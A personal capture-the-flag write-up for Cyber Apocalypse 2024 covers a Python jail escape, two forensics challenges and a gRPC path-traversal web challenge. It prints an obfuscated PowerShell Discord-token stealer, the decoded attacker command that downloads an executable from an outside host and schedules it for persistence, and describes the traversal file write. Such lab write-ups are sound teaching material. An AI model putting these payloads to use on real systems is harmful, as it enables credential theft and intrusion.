my writeups for cyber apocalypse 2024

prologue & review

overall really fun and entrataining ctf, really good difficulty curve and quality :))

we got 106th place out of 5693 teams

I only did the writeups for some of the “harder” challenges because some were very easy and not writeup worth.

anyways here are the writeups!

misc

unbreakable

this was a python jail escape challenge

basically your input was evaluated by removing these chars in the blacklist

blacklist = [ ';', '"', 'os', '_', '\\', '/', '`',
              ' ', '-', '!', '[', ']', '*', 'import',
              'eval', 'banner', 'echo', 'cat', '%', 
              '&', '>', '<', '+', '1', '2', '3', '4',
              '5', '6', '7', '8', '9', '0', 'b', 's', 
              'lower', 'upper', 'system', '}', '{' ]

while True:
  ans = input('Break me, shake me!\n\n$ ').strip()
  
  if any(char in ans for char in blacklist):
    print(f'\n{banner1}\nNaughty naughty..\n')
  else:
    try:
      print("DEBUG: {}".format(ans))
      eval(ans + '()')
      print('WHAT WAS THAT?!\n')

as you can see the input is then evaluated after adding ()

here’s the solution:

print(open(‘flag.txt’,’r’).read()),print

this is what eval will then execute: eval(‘print(open(‘flag.txt’,’r’).read()),print()’)

this printing the flag

forensics

Fake boost

first of all i found this wireshark file that was included in the challenge: capture.pcapng

then looked at it for a bit before finding some http requests (you can filter by http)

i also found this obfuscated powershell code in one of the http requests

$jozeq3n = "9ByXkACd1BHd19ULlRXaydFI7BCdjVmai9ULoNWYFJ3bGBCfgMXeltGJK0gNxACa0dmblxUZk92YtASNgMXZk92Qm9kclJWb15WLgMXZk92QvJHdp5EZy92YzlGRlRXYyVmbldEI9Ayc5V2akoQDiozc5V2Sg8mc0lmTgQmcvN2cpREIhM3clN2Y1NlIgQ3cvhULlRXaydlCNoQD9tHIoNGdhNmCN0nCNEGdhREZlRHc5J3YuVGJgkHZvJULgMnclRWYlhGJgMnclRWYlhULgQ3cvBFIk9Ga0VWTtACTSVFJgkmcV1CIk9Ga0VWT0NXZS1SZr9mdulEIgACIK0QfgACIgoQDnAjL18SYsxWa69WTnASPgcCduV2ZB1iclNXVnACIgACIgACIK0wJulWYsB3L0hXZ0dCI9AyJlBXeU1CduVGdu92QnACIgACIgACIK0weABSPgMnclRWYlhGJgACIgoQD7BSeyRnCNoQDkF2bslXYwRCI0hXZ05WahxGctASWFt0XTVUQkASeltWLgcmbpJHdT1Cdwlncj5WRg0DIhRXYERWZ0BXeyNmblRiCNATMggGdwVGRtAibvNnSt8GV0JXZ252bDBCfgM3bm5WSyV2c1RCI9ACZh9Gb5FGckoQDi0zayM1RWd1UxIVVZNXNXNWNG1WY1UERkp3aqdFWkJDZ1M3RW9kSIF2dkFTWiASPgkVRL91UFFEJK0gCN0nCN0HIgACIK0wcslWY0VGRyV2c1RCI9sCIz9mZulkclNXdkACIgACIgACIK0QfgACIgACIgAiCN4WZr9GdkASPg4WZr9GVgACIgACIgACIgACIK0QZtFmbfxWYi9Gbn5ybm5WSyV2c1RCI9ASZtFmTsFmYvx2RgACIgACIgACIgACIK0AbpFWbl5ybm5WSyV2c1RCI9ACbpFWbFBCIgACIgACIgACIgoQDklmLvZmbJJXZzVHJg0DIElEIgACIgACIgACIgAiCNsHQdR3YlpmYP12b0NXdDNFUbBSPgMHbpFGdlRkclNXdkACIgACIgACIK0wegkybm5WSyV2c1RCKgYWagACIgoQDuV2avRHJg4WZr9GVtAybm5WSyV2cVRmcvN2cpRUL0V2Rg0DIvZmbJJXZzVHJgACIgoQD7BSKz5WZr9GVsxWYkAibpBiblt2b0RCKgg2YhVmcvZmCNkCKABSPgM3bm5WSyV2c1RiCNoQD9pQDz5WZr9GdkASPrAycuV2avRFbsFGJgACIgoQDoRXYQRnblJnc1NGJggGdhBXLgwWYlR3Ug0DIz5WZr9GdkACIgAiCNoQD9VWdulGdu92Y7BSKpIXZulWY052bDBSZwlHVoRXYQ1CIoRXYQRnblJnc1NGJggGdhBVL0NXZUhCI09mbtgCImlGIgACIK0gCN0Vby9mZ0FGbwRyWzhGdhBHJg0DIoRXYQRnblJnc1NGJgACIgoQD7BSKzlXZL5ycoRXYwRCIulGItJ3bmRXYsBHJoACajFWZy9mZK0QKoAEI9AycuV2avRFbsFGJK0gCN0nCNciNz4yNzUzLpJXYmF2UggDNuQjN44CMuETOvU2ZkVEIp82ajV2RgU2apxGIswUTUh0SoAiNz4yNzUzL0l2SiV2VlxGcwFEIpQjN4ByO0YjbpdFI7AjLwEDIU5EIzd3bk5WaXhCIw4SNvEGbslmev10Jg0DInQnbldWQtIXZzV1JgACIgoQDn42bzp2Lu9Wa0F2YpxGcwF2Jg0DInUGc5RVL05WZ052bDdCIgACIK0weABSPgMnclRWYlhGJK0gCN0nCNIyclxWam9mcQxFevZWZylmRcFGbslmev1EXn5WatF2byRiIg0DIng3bmVmcpZ0JgACIgoQDiUGbiFGdTBSYyVGcPxVZyF2d0Z2bTBSYyVGcPx1ZulWbh9mckICI9AyJhJXZw90JgACIgoQDiwFdsVXYmVGRcFGdhREIyV2cVxlclN3dvJnQtUmdhJnQcVmchdHdm92UlZXYyJEXsF2YvxGJiASPgcSZ2FmcCdCIgACIK0gI0xWdhZWZExVY0FGRgIXZzVFXl12byh2QcVGbn92bHxFbhN2bsRiIg0DInUWbvJHaDBSZsd2bvd0JgACIgoQD7BEI9AycoRXYwRiCNoQDiYmRDpleVRUT3h2MNZWNy0ESCp2YzUkaUZmT61UeaJTZDJlRTJCI9ASM0JXYwRiCNEEVBREUQFkO25WZkASPgcmbp1WYvJHJK0QQUFERQBVQMF0QPxkO25WZkASPgwWYj9GbkoQDK0gIu4iL05WZpRXYwBSZiBSZzFWZsBFIhMXeltGIvJHdp5GIkJ3bjNXaEByZulGdhJXZuV2RiACdz9GStUGdpJ3VK0gIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIK0AIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIgACIgAiCN8yX8BCIg8yXf91XfxFIv81XfxFIv81Xf91XcBCIv81XfxFIgw3X891Xcx3Xv8FXgw3XcBCffxyXfxFIgw3X89yXf9FXf91Xc9yXf9FffxHIv81XfxHI891XfxFff91XcBCI89Ffgw3XcpQD8BCIf91Xc91XvAyLu8CIv8Ffgw1Xf91Lg8iLgwHIp8FKgwHI8BCffxHI8BCfgACX8BCfgwHI89FKgwHI8BCfgkyXoACffhCIcByXfxFI89CIvwHI8ByLf9FIg8yXfBCI8BCfgwHI8BCfK0Afgw3XvAyLg8CIvACI8BCfvACI8BCIvAyLgACIgwFIfByLf91Jgw3XfBCfgwHIgBiLgwHI8BCYfByLf91JgwHXg8FIv81Xg8Cff9FIvACfgwHI8BCfgwFIfByLcByXg8yXfdCI89FIgwnCNwHI89CIvcyLg8CInAGfgcyL8BCfn8CIvAyJgBCIg81XfByXfByXg8Ffgw3X8BCfcBCI8BCfgw3XfByXfByXgAyXf9FIf91XgAyXf9FIfxHI8BCfgwHIg81XfBCIf91Xg81Xg8FIfxHI8pQD8BCIg8CIcBCIf9FIvwHIg8FIgwHXgAyXfByLgACIgACIgACIgACIgwHIp8FKgwHIcBCfgwHI8BCIgACIgACIgACIgACIgACIgACIgkyXoACIfBCI8BCIgACIgACIgACIgACff91XgACfK0AIf91XgACIf91Xf9FIg81Xf91XgAyXf91XfBCIgACIgACIgACIgACIg8FIfByXgACIfBCIg8FIgACIgACIgACIgACIgACIgACIgACIg8FIf91Xf91XgACIgACIgACIgACIgAyXf91Xf9lCNICI0N3bI1SZ0lmcXpQDK0QfK0QKhRXYExGb1ZGJocmbpJHdTRjNlNXYC9GV6oTX0JXZ252bD5SblR3c5N1WgACIgoQDhRXYERWZ0BXeyNmblRCIrAiVJ5CZldWYuFWTzVWYkASPgEGdhREbsVnZkASXdtVZ0lnYbBCIgAiCNsTKoR3ZuVGTuMXZ0lnYkACLwACLzVGd5JGJos2YvxmQsFmbpZUby9mZz5WYyRlLy9Gdwlncj5WZkASPgEGdhREZlRHc5J3YuVGJgACIgoQDpgicvRHc5J3YuVUZ0FWZyNkLkV2Zh5WYNNXZhRCI9AicvRHc5J3YuVGJgACIgoQD5V2akACdjVmai9EZldWYuFWTzVWQtUGdhVmcDBSPgQWZnFmbh10clFGJgACIgoQDpQHelRnbpFGbwRCKzVGd5JEdldkL4YEVVpjOddmbpR2bj5WRuQHelRlLtVGdzl3UbBSPgMXZ0lnYkACIgAiCNsHIpQHelRnbpFGbwRCIskXZrRCKn5WayR3UtQHc5J3YuVEIu9Wa0Nmb1ZmCNoQD9pQDkV2Zh5WYNNXZhRCIgACIK0QfgACIgoQD9BCIgACIgACIK0QeltGJg0DI5V2SuQWZnFmbh10clFGJgACIgACIgACIgACIK0wegU2csVGIgACIgACIgoQD9BCIgACIgACIK0QK5V2akgyZulmc0NFN2U2chJUbvJnR6oTX0JXZ252bD5SblR3c5N1Wg0DI5V2SuQWZnFmbh10clFGJgACIgACIgACIgACIK0wegkiIn5WayR3UiAScl1CIl1WYO5SKoUGc5RFdldmL5V2akgCImlGIgACIgACIgoQD7BSK5V2akgCImlGIgACIK0QfgACIgoQD9BCIgACIgACIK0gVJRCI9AiVJ5CZldWYuFWTzVWYkACIgACIgACIgACIgoQD7BSZzxWZgACIgACIgAiCN0HIgACIgACIgoQDpYVSkgyZulmc0NFN2U2chJUbvJnR6oTX0JXZ252bD5SblR3c5N1Wg0DIWlkLkV2Zh5WYNNXZhRCIgACIgACIgACIgAiCNsHIpIyZulmc0NlIgEXZtASZtFmTukCKlBXeURXZn5iVJRCKgYWagACIgACIgAiCNsHIpYVSkgCImlGIgACIK0gN1IDI9ASZ6l2U5V2SuQWZnFmbh10clFGJgACIgoQD4ITMg0DIlpXaTt2YvxmQuQWZnFmbh10clFGJgACIgoQD3M1QLBlO60VZk9WTn5WakRWYQ5SeoBXYyd2b0BXeyNkL5RXayV3YlNlLtVGdzl3UbBSPgcmbpRGZhBlLkV2Zh5WYNNXZhRCIgACIK0gCNoQD9JkRPpjOdVGZv1kclhGcpNkL5hGchJ3ZvRHc5J3QukHdpJXdjV2Uu0WZ0NXeTtFI9ASZk9WTuQWZnFmbh10clFGJ7liICZ0Ti0TZk9WbkgCImlWZzxWZgACIgoQD9J0QFpjOdVGZv1kclhGcpNkL5hGchJ3ZvRHc5J3QukHdpJXdjV2Uu0WZ0NXeTtFI9ASZk9WTuQWZnFmbh10clFGJ7BSKiI0QFJSPlR2btRCKgYWalNHblBCIgAiCN03UUNkO60VZk9WTyVGawl2QukHawFmcn9GdwlncD5Se0lmc1NWZT5SblR3c5N1Wg0DIlR2bN5CZldWYuFWTzVWYksHIpIyUUNkI9UGZv1GJoAiZpV2csVGIgACIK0QfCZ0Q6oTXlR2bNJXZoBXaD5SeoBXYyd2b0BXeyNkL5RXayV3YlNlLtVGdzl3UbBSPgUGZv1kLkV2Zh5WYNNXZhRyegkiICZ0Qi0TZk9WbkgCImlWZzxWZgACIgoQD9ByQCNkO60VZk9WTyVGawl2QukHawFmcn9GdwlncD5Se0lmc1NWZT5SblR3c5N1Wg0DIlR2bN5CZldWYuFWTzVWYkAyegkiIDJ0Qi0TZk9WbkgCImlGIgACIK0gCNICZldWYuFWTzVWQukHawFmcn9GdwlncD5Se0lmc1NWZT5SblR3c5NlIgQ3YlpmYP1ydl5EI9ACZldWYuFWTzVWYkACIgAiCNsHIpUGZv1GJgwiVJRCIskXZrRCK0NWZqJ2TkV2Zh5WYNNXZB1SZ0FWZyNEIu9Wa0Nmb1ZmCNoQD9pQD9BCIgAiCN03egg2Y0F2YgACIgACIgAiCN0HIgACIgACIgoQDlNnbvB3clJFJg4mc1RXZyBCIgACIgACIgACIgoQDzJXZkFWZIRCIzJXZkFWZI1CI0V2RgQ2boRXZN1CIpJXVkASayVVLgQ2boRXZNR3clJVLlt2b25WSg0DIlNnbvB3clJFJgACIgACIgACIgACIK0gCNISZtB0LzJXZzV3L5Y3LpBXYv02bj5CZy92YzlGZv8iOzBHd0hmIg0DIpJXVkACIgACIgACIgACIgoQDK0QfgACIgACIgACIgACIK0gI2MjL3MTNvkmchZWYTBCO04CN2gjLw4SM58SZnRWRgkybrNWZHBSZrlGbgwCTNRFSLhCI2MjL3MTNvQXaLJWZXVGbwBXQgkCN2gHI7QjNul2VgsDMuATMgQlTgM3dvRmbpdFKgAjL18SYsxWa69WTiASPgICduV2ZB1iclNXViACIgACIgACIgACIgACIgAiCNIibvNnav42bpRXYjlGbwBXYiASPgISZwlHVtQnblRnbvNkIgACIgACIgACIgACIgACIgoQDuV2avRFJg0DIi42bpRXY6lmcvhGd1FkIgACIgACIgACIgACIgACIgoQD7BEI9AycyVGZhVGSkACIgACIgACIgACIgoQD7BSeyRHIgACIgACIgoQD7ByczV2YvJHcgACIgoQDK0QKgACIgoQDuV2avRFJddmbpJHdztFIgACIgACIgoQDdlSZ1JHdkASPgkncvRXYk5WYNhiclRXZtFmchB1WgACIgACIgAiCNgCItFmchBFIgACIK0QXpgyZulGZulmQ0VGbk12QbBCIgAiCNsHIvZmbJJXZzVFZy92YzlGRtQXZHBibvlGdj5WdmpQDK0QfK0wclR2bjRCIuJXd0VmcgACIgoQDK0QfgACIgoQDlR2bjRCI9sCIzVGZvNGJgACIgACIgAiCNkSfgkCK5FmcyFkchh2QvRlLzJXYoNGJgQ3YlpmYPRXdw5WStASbvRmbhJVL0V2RgsHI0NWZqJ2Ttg2YhVkcvZEI8BCa0dmblxUZk92Yk4iLxgCIul2bq1CI9ASZk92YkACIgACIgACIK0wegkyKrkGJgszclR2bDZ2TyVmYtVnbkACds1CIpRCI7ADI9ASakgCIy9mZgACIgoQDK0QKoAEI9AyclR2bjRCIgACIK0wJ5gzN2UDNzITMwoXe4dnd1R3cyFHcv5Wbstmaph2ZmVGZjJWYalFWXZVVUNlURB1TO1ETLpUSIdkRFR0QCF0Jg0DIzJXYoNGJgACIgoQDK0QKgACIgoQD2EDI9ACa0dmblxUZk92Yk0Fdul2WgACIgACIgAiCNwCMxASPgMXZk92Qm9kclJWb15GJdRnbptFIgACIgACIgoQDoASbhJXYwBCIgAiCNsHIzVGZvN0byRXaORmcvN2cpRUZ0Fmcl5WZHBibvlGdj5WdmpQDK0QfK0wcuV2avRHJg4mc1RXZyBCIgAiCNoQD9tHIoNGdhNGI9BCIgAiCN0HIgACIgACIgoQD9tHIoNGdhNGI9BCIgACIgACIgACIgoQD9BCIgACIgACIgACIgACIgAiCN0HIgACIgACIgACIgACIgACIgACIgoQDlVHbhZlLzVGajRXYN5yXkACIgACIgACIgACIgACIgACIgACIgACIgoQD7BCdjVmai9ULoNWYFJ3bGBCfgMXZoNGdh1EbsFULggXZnVmckAibyVGd0FGUtAyZulmc0NVL0NWZsV2UgwHI05WZ052bDVGbpZGJg0zKgMnblt2b0RCIgACIgACIgACIgACIgACIgACIgoQD7BSKpcSf1kDLwgzed1ydctlLcFmZtdCIscSfwETMsUjM71VL3x1WuwVf2sXXtcHXb5CX9ZjM71VL3x1WngCQg4WaggXZnVmckgCIoNWYlJ3bmBCIgACIgACIgACIgACIgAiCNoQDw9GdTBibvlGdjFkcvJncF1CI3FmUtASZtFmTsxWdG5yXkACa0FGUtACduVGdu92QtQXZHBSPgQnblRnbvNUZslmZkACIgACIgACIgACIgACIgAiCNsHI5JHdgACIgACIgACIgACIK0AIgACIgACIgACIgAiCNsHI0NWZqJ2Ttg2YhVkcvZEI8BSZjJ3bG1CIlNnc1NWZS1CIlxWaG1CIoRXYwRCIoRXYQ1CItVGdJRGbph2QtQXZHBCIgACIgACIK0wegknc0BCIgAiCNoQDpgCQg0DIz5WZr9GdkACIgAiCNoQDpACIgAiCNgGdhBHJddmbpJHdztFIgACIgACIgoQDoASbhJXYwBCIgAiCNsHIsFWZ0NFIu9Wa0Nmb1ZmCNoQDiEGZ3pWYrRmap9maxomczkDOxomcvADOwgjO1MTMuYTMx4CO2EjLykTMv8iOwRHdoJCI9ACTSVFJ" ;
$s0yAY2gmHVNFd7QZ = $jozeq3n.ToCharArray() ; [array]::Reverse($s0yAY2gmHVNFd7QZ) ; -join $s0yAY2gmHVNFd7QZ 2>&1> $null ;
$LOaDcODEoPX3ZoUgP2T6cvl3KEK = [sYSTeM.TeXt.ENcODING]::UTf8.geTSTRiNG([SYSTEm.cOnVeRT]::FRoMBaSe64sTRing("$s0yAY2gmHVNFd7QZ")) ;
$U9COA51JG8eTcHhs0YFxrQ3j = "Inv"+"OKe"+"-EX"+"pRe"+"SSI"+"On" ; New-alIaS -Name pWn -VaLuE $U9COA51JG8eTcHhs0YFxrQ3j -FoRcE ; pWn $lOADcODEoPX3ZoUgP2T6cvl3KEK ;

as you can see its reversed and base64 encoded. Then it would be executed with and obfuscated version of IEX

here’s the decrypted code

decrypted-malware.ps1

and here we can find the first part of the flag base64 encoded

$part1 = "SFRCe2ZyMzNfTjE3cjBHM25fM3hwMDUzZCFf"

then i found out that the script actually steals discord tokens.

to send them, it aes encrypts them with this function

function Create-AesManagedObject($key, $IV, $mode) {
    $aesManaged = New-Object "System.Security.Cryptography.AesManaged"

    if ($mode="CBC") { $aesManaged.Mode = [System.Security.Cryptography.CipherMode]::CBC }
    elseif ($mode="CFB") {$aesManaged.Mode = [System.Security.Cryptography.CipherMode]::CFB}
    elseif ($mode="CTS") {$aesManaged.Mode = [System.Security.Cryptography.CipherMode]::CTS}
    elseif ($mode="ECB") {$aesManaged.Mode = [System.Security.Cryptography.CipherMode]::ECB}
    elseif ($mode="OFB"){$aesManaged.Mode = [System.Security.Cryptography.CipherMode]::OFB}


    $aesManaged.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7
    $aesManaged.BlockSize = 128
    $aesManaged.KeySize = 256
    if ($IV) {
        if ($IV.getType().Name -eq "String") {
            $aesManaged.IV = [System.Convert]::FromBase64String($IV)
        }
        else {
            $aesManaged.IV = $IV
        }
    }
    if ($key) {
        if ($key.getType().Name -eq "String") {
            $aesManaged.Key = [System.Convert]::FromBase64String($key)
        }
        else {
            $aesManaged.Key = $key
        }
    }
    $aesManaged
}

function Encrypt-String($key, $plaintext) {
    $bytes = [System.Text.Encoding]::UTF8.GetBytes($plaintext)
    $aesManaged = Create-AesManagedObject $key
    $encryptor = $aesManaged.CreateEncryptor()
    $encryptedData = $encryptor.TransformFinalBlock($bytes, 0, $bytes.Length);
    [byte[]] $fullData = $aesManaged.IV + $encryptedData
    [System.Convert]::ToBase64String($fullData)
}

unfortunately there wasn’t a string decrypt method so i created one

function Decrypt-String($key, $encryptedText) {
     $encryptedBytes = [System.Convert]::FromBase64String($encryptedText)
     $ivSize = 16 
     $iv = $encryptedBytes[0..($ivSize - 1)]
     $cipherText = $encryptedBytes[$ivSize..($encryptedBytes.Length - 1)]

     $aesManaged = Create-AesManagedObject $key $iv
     $decryptor = $aesManaged.CreateDecryptor()
     $decryptedData = $decryptor.TransformFinalBlock($cipherText, 0, $cipherText.Length)

     [System.Text.Encoding]::UTF8.GetString($decryptedData)
}

so with this, i started decoding the sent information

[
    {
        "ID":  "1212103240066535494",
        "Email":  "YjNXNHIzXzBmX1QwMF9nMDBkXzJfYjNfN3J1M18wZmYzcjV9",
        "GlobalName":  "phreaks_admin",
        "Token":  "MoIxtjEwMz20M5ArNjUzNTQ5NA.Gw3-GW.bGyEkOVlZCsfQ8-6FQnxc9sMa15h7UP3cCOFNk"
    },
    {
        "ID":  "1212103240066535494",
        "Email":  "YjNXNHIzXzBmX1QwMF9nMDBkXzJfYjNfN3J1M18wZmYzcjV9",
        "GlobalName":  "phreaks_admin",
        "Token":  "MoIxtjEwMz20M5ArNjUzNTQ5NA.Gw3-GW.bGyEkOVlZCsfQ8-6FQnxc9sMa15h7UP3cCOFNk"
    }
]

and here we can find the second part of the flag in the email YjNXNHIzXzBmX1QwMF9nMDBkXzJfYjNfN3J1M18wZmYzcjV9

HTB{fr33_N17r0G3n_3xp053d!_b3W4r3_0f_T00_g00d_2_b3_7ru3_0ff3r5}

Data Siege

challenge files:

forensics_data_siege.zip

as soon as i opened the pcap file i noticed the http stream.

looks like the client is donwloading a file on /aQ4caZ.exe

im gonna export that file to my desktop

looks like the file is written in .NET, to reverse it, we can just use dnSPY

upon further investigation its revealed that the exe is acutally a rat (https://github.com/Exo-poulpe/EZRAT)

and it communicates via http aes encrypted packets that i can see in the wireshark

now since i got the encrypt key and the decrypt function (hardcoded in the binary) i can just build a new c# script to run the function

using System;
using System.IO;
using System.Security.Cryptography;
using System.Text;

class Program
{
    public static string Decrypt(string cipherText)
    {
        string result;
        try
        {
            string encryptKey = "VYAemVeO3zUDTL6N62kVA";
            byte[] array = Convert.FromBase64String(cipherText);
            using (Aes aes = Aes.Create())
            {
                Rfc2898DeriveBytes rfc2898DeriveBytes = new Rfc2898DeriveBytes(encryptKey, new byte[]
                {
                    86, 101, 114, 121, 95, 83, 51, 99, 114, 51, 116, 95, 83
                });
                aes.Key = rfc2898DeriveBytes.GetBytes(32);
                aes.IV = rfc2898DeriveBytes.GetBytes(16);
                using (MemoryStream memoryStream = new MemoryStream())
                {
                    using (CryptoStream cryptoStream = new CryptoStream(memoryStream, aes.CreateDecryptor(), CryptoStreamMode.Write))
                    {
                        cryptoStream.Write(array, 0, array.Length);
                        cryptoStream.Close();
                    }
                    cipherText = Encoding.Default.GetString(memoryStream.ToArray());
                }
            }
            result = cipherText;
        }
        catch (Exception ex)
        {
            Console.WriteLine(ex.Message);
            Console.WriteLine("Cipher Text: " + cipherText);
            result = "error";
        }
        return result;
    }

    static void Main(string[] args)
    {
        string a = "put-here-ur-ciphertxt";
        string dec = Decrypt(a);
        Console.WriteLine("dec txt: " + dec);
    }
}

note that the bytes 86, 101, 114, 121, 95, 83, 51, 99, 114, 51, 116, 95, 83 used in the encryption decrypt to Very_S3cr3t_S this is a fake flag and a rabbit hole.

by decrypting the client and server packets we can find two parts of the flag

to find the last one we can just base64 decode a command ran by the user that was base64 encoded but not encrypted via aes

echo "CgAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQAuAEQAbwB3AG4AbABvAGEAZABGAGkAbABlACgAIgBoAHQAdABwAHMAOgAvAC8AdwBpAG4AZABvAHcAcwBsAGkAdgBlAHUAcABkAGEAdABlAHIALgBjAG8AbQAvADQAZgB2AGEALgBlAHgAZQAiACwAIAAiAEMAOgBcAFUAcwBlAHIAcwBcAHMAdgBjADAAMQBcAEEAcABwAEQAYQB0AGEAXABSAG8AYQBtAGkAbgBnAFwANABmAHYAYQAuAGUAeABlACIAKQAKAAoAJABhAGMAdABpAG8AbgAgAD0AIABOAGUAdwAtAFMAYwBoAGUAZAB1AGwAZQBkAFQAYQBzAGsAQQBjAHQAaQBvAG4AIAAtAEUAeABlAGMAdQB0AGUAIAAiAEMAOgBcAFUAcwBlAHIAcwBcAHMAdgBjADAAMQBcAEEAcABwAEQAYQB0AGEAXABSAG8AYQBtAGkAbgBnAFwANABmAHYAYQAuAGUAeABlACIACgAKACQAdAByAGkAZwBnAGUAcgAgAD0AIABOAGUAdwAtAFMAYwBoAGUAZAB1AGwAZQBkAFQAYQBzAGsAVAByAGkAZwBnAGUAcgAgAC0ARABhAGkAbAB5ACAALQBBAHQAIAAyADoAMAAwAEEATQAKAAoAJABzAGUAdAB0AGkAbgBnAHMAIAA9ACAATgBlAHcALQBTAGMAaABlAGQAdQBsAGUAZABUAGEAcwBrAFMAZQB0AHQAaQBuAGcAcwBTAGUAdAAKAAoAIwAgADMAdABoACAAZgBsAGEAZwAgAHAAYQByAHQAOgAKAAoAUgBlAGcAaQBzAHQAZQByAC0AUwBjAGgAZQBkAHUAbABlAGQAVABhAHMAawAgAC0AVABhAHMAawBOAGEAbQBlACAAIgAwAHIAMwBkAF8AMQBuAF8ANwBoADMAXwBoADMANABkAHEAdQA0AHIANwAzAHIANQB9ACIAIAAtAEEAYwB0AGkAbwBuACAAJABhAGMAdABpAG8AbgAgAC0AVAByAGkAZwBnAGUAcgAgACQAdAByAGkAZwBnAGUAcgAgAC0AUwBlAHQAdABpAG4AZwBzACAAJABzAGUAdAB0AGkAbgBnAHMACgA=" | base64 -d

(New-Object System.Net.WebClient).DownloadFile("https://windowsliveupdater.com/4fva.exe", "C:\Users\svc01\AppData\Roaming\4fva.exe")

$action = New-ScheduledTaskAction -Execute "C:\Users\svc01\AppData\Roaming\4fva.exe"

$trigger = New-ScheduledTaskTrigger -Daily -At 2:00AM

$settings = New-ScheduledTaskSettingsSet

# 3th flag part:

Register-ScheduledTask -TaskName "0r3d_1n_7h3_h34dqu4r73r5}" -Action $action -Trigger $trigger -Settings $settings

done!

web

testimonal

solved by Kibov and me

chall files: web_testimonial.zip

this webserver is written in go

in this webserver you can send testimonials with your name

after a bit of looking around i found out that your name gets written as the file name containing your testimonial in a folder in the file system.

This might be a arbitrary write.

but the input is unfortunately sanitized with this function

func (c *Client) SendTestimonial(customer, testimonial string) error {
    ctx := context.Background()
    // Filter bad characters.
    for _, char := range []string{"/", "\\", ":", "*", "?", "\"", "<", ">", "|", "."} {
        customer = strings.ReplaceAll(customer, char, "")
    }

    _, err := c.SubmitTestimonial(ctx, &pb.TestimonialSubmission{Customer: customer, Testimonial: testimonial})
    return err
}

after further looking around we found out that the server communicates to a grpc server.

we can just directly communicate to the grpc server thus bypassing the filter.

to do that we used the google grpc python module.

then we modified the username to be ../../view/home/index.templ

and the testimonial to be the whole index.templ with some code the include the flag like this /flag*

and we did it!

HTB{w34kly_t35t3d_t3mplate5}

prologue

ty for reading! <3